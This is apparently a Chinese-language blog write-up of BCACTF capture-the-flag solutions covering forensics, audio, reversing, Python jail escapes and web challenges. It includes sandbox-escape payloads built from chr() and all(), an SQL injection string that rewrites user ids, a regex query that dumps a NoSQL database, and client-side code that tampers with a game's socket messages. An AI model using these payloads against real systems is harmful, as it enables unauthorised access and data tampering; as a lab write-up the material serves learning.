BCACTF-1

做题日常

foren

23-719

描述

紧跟时事,给了一个川宝诉讼案相关的pdf文件,通过一番搜索,找到了原始文件 https://www.supremecourt.gov/opinions/23pdf/23-719_19m2.pdf ,对比发现抬头被改了。
ctrl + A 全选,粘贴后发现了隐藏文字中的flag。

Mysterious Melody

描述

给了一段音频,开头有个十六级的音阶,暗示了十六进制。接着后面一串就是加密数据了。
由于有背景音频的干扰,无法使用常规的脚本分析,我这里先采用了ai音频分离,使用的是https://www.lalal.ai 这个网站,提取出钢琴的音频。

接着打开一个扒谱网站,https://madderscientist.github.io/noteDigger ,可以看到音频信息很好的被呈现了出来。

手工写下数据6263616374667b62656175746966756c5f6d656c6f64795f62656175746966756c5f6861726d6f6e797d
十六进制转码得到flag。bcactf{beautiful_melody_beautiful_harmony}

REV

Broken C Code

描述

给了一段c语言代码

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <math.h>
int main() {
printf("Here's your flag!\n\n");
int flag[] = {9607, 9804, 9412, 9804, 13459, 10407, 15132, 9804, 9028, 9804, 2307, 10003, 4764, 9028, 10407, 5332, 7747, 10204, 4627,9028, 3028, 5187, 2707, 6087, 5628, 2812, 9028, 3028, 2919, 2503, 2707, 3028, 3139, 2503, 3028, 2919, 15628, 103};
for (int i = 0; i < sizeof(flag); i++)
printf("%c",(char)sqrt(flag[i++]-3));
return 0;
}

输出的结果是乱码的

1
bat{_0EfXD74K_6487}RR㈡骀<bgG屜N嬈8o

这个时候将c代码转成python代码就可以得到正确结果了。

1
2
import math
print("".join([chr(int(math.sqrt(i-3))) for i in [9607, 9804, 9412, 9804, 13459, 10407, 15132, 9804, 9028, 9804, 2307, 10003, 4764, 9028, 10407, 5332, 7747, 10204, 4627,9028, 3028, 5187, 2707, 6087, 5628, 2812, 9028, 3028, 2919, 2503, 2707, 3028, 3139, 2503, 3028, 2919, 15628, 103]]))

考点分析

这里考察的是代码审计能力,在循环条件中,i已经自增了,但在flag[i++]里,i又自增了一次,导致跳过了一般的字符,输出乱码。

XOR

描述

给了一个可执行文件,运行后得到:

1
Encrypted flag: 21 0F 0A 15 3F 29 29 6B 13 1C 2C 74 7D 30 5E 50 6E 29 2B 24 19 0C 67 7D 05 54 7C 34 5C 13 32 42 29 62 7B 0F 4E 

010 hexEditor打开,发现一串可疑字符ClkvKOR8JQA1JB731LeGkU7J4d2khDvrOPI63mM7
使用xor解出flag

misc

reload-decode

描述

Greetings neighbor. My name’s Crazy Dave but you can just call me Crazy Dave.
I found this weird website that seems to represent something. Says something about taco as a reward
Can you find whatever the code is and hand it to me?
I could really go for a taco right now

wp

从源码中找到关键加密部分:

1
2
3
4
5
6
7
8
with open("flag.txt") as f:
flag = bytearray(f.read().encode())
flag_str = ""
for b in flag:
b = b << 4 ^ ((b << 4 & 0xFF) >> 4)
bm = 1 << random.randint(0, 11)
cb = b ^ bm
flag_str += bin(cb)[2:].zfill(12)

分析一下,b为特定位运算的结果,bm为从2^0 ~ 2^11的掩码,cb为异或后结果。

于是,可以得到解题思路为:

  1. 从网页上获取到二进制字符串,以12为单位长度划分,对应flag的一个字符。
  2. 使用可打印字符通过位运算和异或运算构造一个加密字典。(b = b << 4 ^ ((b << 4 & 0xFF) >> 4))
  3. 让数据分别与2^0 ~ 2^11进行异或运算,再与加密字典中的字符匹配,得到可疑字符(因为得到的字符可能不止一个)。
  4. 重复1~3,获得多组可疑字符,再提取其中重复出现的字符,连接形成flag。

解题代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import string


def solve():
binstr_list = [
"111000100010011000110111011000010011011000111011011100000100011101100110011010111011111011101110000100000000011101100111001011010101010110001000010001000101011110100010001000110011001101110111011000110011001011111101010000000010101011011101011100000100011000010101011001110011011011011111011011011101111000110011010001010111011110001001011010011000011000101010011011100110010000100010011010101010000010011001010010001100011110101010011110101000010010010001010010101000011100001000011101100111011000100000010101100111010010101000011100000010010110101000011111011111",
"001000100010011000110010011000010101011000110111011101000101011001100111011010111011011111101110001101000000001101110111011011011101010010101000010001110101011100100011101100110011001001110011011000110011011011011101110000000000001010011101011101000101010000010001011000010011111011111111101011011101111000110011010001100111001110001000011010001010011000110010011011101111010110100010001110101010010010001001010010001001110110101010001110101010010010011011010010000000111100000000011111100110111000100010010101111111011010101010011110000000010111101010011111111101",
"011100100010011000110111011000000001011100110011001101000100011001000110010110111011011001101110001100000010011101110011001011011100010011001000000001010101111100100010001100010011001001110011011100100011001011011100000000000000001011011111011101000000001000010001011000110010011011011111011011011101011100110011010001111111011111001000011010001010011000100011011011101010010100000010011111101010010010011011000010001000010100101010011110101000000010011001010010011000011100010000011101000110011000100110010100110111011010101010011000000000010110111010011111011001",
"001000100010001000110011011000110001011000110010011001000100011001100100011010111011011011101111001000000000011111110111001011001101010010011000010001011101010100100010001100100011001001110110001100110011001011111101110000000000001011011001011101100100011000000001011000111011011111111111000011011101001000110011010101110111011110101000001010001000011000100110010011101110010110100010011110111010010010010001011010001000110110101010011110111010010000011001010010000000011101000000011101100010011000000010010101110011010010101000111100000000000110101010011111011001",
"011001100010011000110111011000010000011000110010011111000100011001110110011110111111011011101111001110000000111101110111001011011001010010011000010001000101011100000010001100111011001001110110001100110011001111011101010100000000011011011101011100000100011000010101011010110011011011111101001011011111011001110011000001110111111110001000011000001000011001100010011011001110010101100010001110101010011010011001010010000000010110101000011110101000011010011001011010001000011000000000011001100110011000100110010001110111010010111010011100001000110110101010011111001101",
"011000100000011000110001011000010000011010110011011111000100001001100110011111111011011011100110101100000000010101110111101011011101000010001000010001010001011100100011101100110011001001111111011100110111001011011001010001000000001011011001011101010100011000010000011000110010011011111101001011011111111000110011110001110111011110011000011010001100011000110010011111101110011100100010011110111010010110011001010010001100010110101110011110001010011010011001010011001000011100000010011101101110011001100010010101110110000010101010001100000000010110100010111111011101",
]
suspicious = []
decode_dict = {}
for b in bytearray(string.printable.encode()):
c = b << 4 ^ ((b << 4 & 0xFF) >> 4)
decode_dict[c] = chr(b)
masks = [1 << i for i in range(12)]

for binstr in binstr_list:
bin_list = [binstr[i : i + 12] for i in range(0, len(binstr), 12)] # 12位分组
for bin_segment in bin_list:
e = int(bin_segment, 2)
sus = ""
for mask in masks:
masked_value = e ^ mask
if masked_value in decode_dict:
sus += decode_dict[masked_value]
suspicious.append(sus)

num_segments = 47
segment_length = len(suspicious) // num_segments

for i in range(num_segments):
find = False
for char in suspicious[i]:
if find:
break
for k in range(segment_length):
if char not in suspicious[k * num_segments + i]:
break
else:
print(char, end="")
find = True


solve()

pyjail-1

描述

过滤了print + 本地flag变量 + exec 的沙箱逃逸。

wp

raise OSError(locals()[chr(102) + chr(108) + chr(97) + chr(103)])

pyjail-2

描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def sanitize(letter):
print("Checking for contraband...")
return any([i in letter.lower() for i in BANNED_CHARS])

def end():
print("Contraband letters found!\nMessages Deleted!")
exit()

BANNED_CHARS = "gdvxfiyundmnet/\\'~`@#$%^&.{}0123456789"
flag = open('flag.txt').read().strip()

print("Welcome to the prison's mail center")

msg = input("\nPlease enter your message: ")

while msg != "":
if sanitize(msg):
end()

try:
x = eval(msg)
if len(x) != len(flag): end()
print(x)
except Exception as e:
print(f'Error occured: {str(e)}; Message could not be sent.')

msg = input("\nPlease enter your message: ")
  1. 过滤条件,不能包含字符gdvxfiyundmnet/\\'~`@#$%^&.{}0123456789
  2. 使用eval执行,自带回显。

wp

目标是构造出locals()["flag"],但其中fg以及数字都被过滤了。

但注意到chr没有被过滤,于是我们可以通过其他手段构造出所需要的数字。

python中,all(()) => 1
于是,f = chr(102) = chr((all(())+all(())+all(())+all(())+all(())+all(())+all(())<<all(())+all(())+all(())+all(()))-(all(())+all(())<<all(())+all(()))-all(())-all(())) , g = chr(103) = chr((all(())+all(())+all(())+all(())+all(())+all(()) << all(())+all(())+all(())+all(()))+all(())+all(()) * all(())+all(())+all(())+all(())+all(()))

合并得locals()[chr((all(())+all(())+all(())+all(())+all(())+all(())+all(())<<all(())+all(())+all(())+all(()))-(all(())+all(())<<all(())+all(()))-all(())-all(()))+"la"+ chr((all(())+all(())+all(())+all(())+all(())+all(())+all(())<<all(())+all(())+all(())+all(()))-(all(())+all(())<<all(())+all(()))-all(()))]

输入程序得到flag ~ bcactf{PyTH0n_M4st3R_Pr0veD}

JailBreak Revenge

描述

进阶了一下,过滤了gdvxfiyundmpnetkb/\\'\"~`!@#$%^&*.{},:;=0123456789#-_|? \t\n\r\x0b\x0c

wp

1
2
3
4
5
6
f=chr(((all(())+all(())+all(())+all(())+all(())+all(())<<all(())+all(())+all(())+all(()))+all(())+all(())+all(())+all(())+all(())+all(())))
l=chr(((all(())+all(())+all(())+all(())+all(())+all(())<<all(())+all(())+all(())+all(()))+((all(())+all(())+all(()))<<(all(())+all(())))))
a=chr(((all(())+all(())+all(())+all(())+all(())+all(())<<all(())+all(())+all(())+all(()))+all(())))
g=chr(((all(())+all(())+all(())+all(())+all(())+all(())<<all(())+all(())+all(())+all(()))+all(())+all(())+all(())+all(())+all(())+all(())+all(())))

locals()[chr(((all(())+all(())+all(())+all(())+all(())+all(())<<all(())+all(())+all(())+all(()))+all(())+all(())+all(())+all(())+all(())+all(())))+chr(((all(())+all(())+all(())+all(())+all(())+all(())<<all(())+all(())+all(())+all(()))+((all(())+all(())+all(()))<<(all(())+all(())))))+chr(((all(())+all(())+all(())+all(())+all(())+all(())<<all(())+all(())+all(())+all(()))+all(())))+chr(((all(())+all(())+all(())+all(())+all(())+all(())<<all(())+all(())+all(())+all(()))+all(())+all(())+all(())+all(())+all(())+all(())+all(())))]

flag : bcactf{Wr1tING_pyJaiL5_iS_hArD_f56450aadefcc}

webex

phone-number

描述

I was trying to sign into this website, but now it’s
asking me for a phone number. The way I’m supposed to
input it is strange. Can you help me sign in?
My phone number is 1234567890

题目让我们给 1234567890打电话,但是前端无法输入,简单干掉三个限制就可以拿到flag了。

“User #1”

wp

进到界面,发现是一个sql注入题,应该是让我们修改自己的id值。
先输入双引号进行闭合,得到报错信息unrecognized token: ""1"" WHERE id=1"
接下来分别构造两个语句,修改admin的id值和自己的id值
1",id = 2 WHERE id=0--,1",id = id-1--
得到flagbcactf{g3t_BEtA_t3StERs_f6a71451d481a8}

NoSQL

描述

I found this database that does not use SQL,
is there any way to break it?

wp

从源码中不难看出,这是一个利用正则表达式来进行检索的数据库。

因此,我们可以构造/?name=.*?来获取所有内容。

1
2
3
4
5
6
7
8
9
10
{
"rtnValues": [
"Ricardo Olsen",
"April Park",
......
"Shirley Cannon",
"Lowell Cochran",
"Flag Holder"
]
}

发现最后有个Flag Holder,于是我们访问/51/Flag/Holder得到flag

Sea Scavenger

描述

入门题目,灰常简单。

描述

给了一个曲奇饼-点击界面,点一下分数+1

查看js代码,看到了这样一串

1
2
3
4
5
6
7
class sendMessage {
power = 1
value = 0
}
cookie.addEventListener('click', function (e) {
socket.emit('click', JSON.stringify({"power":send.power, "value":send.value}));
});

替换一下内容

1
2
3
4
class sendMessage {
power = 1e100
value = 1e100
}

多次尝试,发现分数跳动但是最终没有改变,怀疑是竞争性条件。

仔细阅读源码

1
2
3
4
5
// 当收到错误消息时,更新会话的分数,并将分数发送给socket
socket.on('receivedError', (msg) => {
sessions[socket.id] = errors[socket.id]
socket.emit('recievedScore', JSON.stringify({"value":sessions[socket.id]}));
});

发现只有客户端回复了receivedError,才会更新分数。

故而修改客户端代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var socket = io();

let cookie = document.querySelector("img")

class sendMessage {
power = 1e100
value = 1e100
}

let send = new sendMessage();

cookie.addEventListener('click', function (e) {
socket.emit('click', JSON.stringify({"power":send.power, "value":send.value}));
});

socket.on('recievedScore', function (msg) {
let scores = JSON.parse(msg)
send.value = scores.value
document.querySelector(".points").textContent = scores.value
});

socket.on('error', function (msg) {
console.log("Error")
socket.emit('receivedError', "recieved");
});

点击两次,获得flag。bcactf{H0w_Did_Y0u_Cl1ck_S0_M4ny_T1mes_123}

Tic-Tac-Toe

描述

井字棋,前后端通信为websocket

wp

测试发现,游戏逻辑有漏洞,注释掉这一段即可获取flag。


BCACTF-1
http://xciphand.github.io/2024/07/15/BCACTF-1/
作者
xciphand
发布于
2024年7月15日
许可协议